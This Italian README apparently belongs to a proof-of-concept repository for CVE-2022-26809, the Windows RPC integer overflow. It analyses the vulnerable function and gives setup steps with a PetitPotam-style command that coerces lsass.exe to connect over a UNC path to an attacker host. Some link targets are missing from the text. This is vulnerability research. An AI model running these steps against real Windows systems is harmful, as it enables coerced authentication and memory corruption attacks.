
PoC e analisi per CVE-2022-26809, una vulnerabilità di integer overflow nel runtime RPC di Windows. Include script di trigger che utilizzano il relay di percorsi UNC in stile PetitPotam per sfruttare lsass.exe tramite richieste ESFRPC.
Questa repo è solo una semplice ricerca sulla CVE, per un'analisi più dettagliata fare riferimento qui.
AGGIORNAMENTO: 05/19 2022
Questa analisi non è ancora stata completata....
AGGIORNAMENTO: 05/22 2022
Il post di HuanGMz e il blog di corelight mostrano il vero punto vulnerabile:
OSF_CASSOCIATION::ProcessBindAckOrNak

Questa vulnerabilità viene innescata come CVE-2021-43893: quando si invia la richiesta ESFRPC a lsass.exe con percorso UNC, la vittima tenterà di accedere al target come client, innescando così un integer overflow nell'API client
Se hai una soluzione migliore per innescare questa vulnerabilità, sentiti libero di aprire una issue o una PR :)
Poiché la vulnerabilità viene innescata come CVE-2021-43893, basta clonare il codice di .
Prepara semplicemente l'ambiente come qui:

fake_smb_server.py su attacker-server dopo aver sostituito rpcrt.py con quello originale (Poiché la porta 445 è occupata da System su Windows, si consiglia di distribuire il servizio su Linux)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Tuttavia, non sono riuscito a innescare il BSoD, ma secondo windbg, l'integer overflow è stato innescato)Vecchia descrizione
Ecco il codice di riproduzione per la vulnerabilità RPC di Windows CVE-2022-26809, e fa riferimento a https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
La mia versione di Python è 3.6.7
Non sono sicuro che GetCoalescedBuffer coinvolga la vera CVE-2022-26809, lo tengo solo per riferimento
il poc.py prova solo a innescare la funzione vulnerabile OSF_SCALL::GetCoalescedBuffer, non causerebbe alcun crash perché l'integer overflow dword è troppo difficile da riprodurre. E rpcrt.py è il pacchetto Python impacket.dcerpc.v5.rpcrt, basta sostituirlo con quello originale per innescare la vulnerabilità (Ricorda di fare un backup dell'originale :) Credo che rpcrt.py abbia un sacco di bug).
Se non funziona, magari wireshark può aiutare a individuare il bug.
se necessario, basta usare nmake per ricompilarlo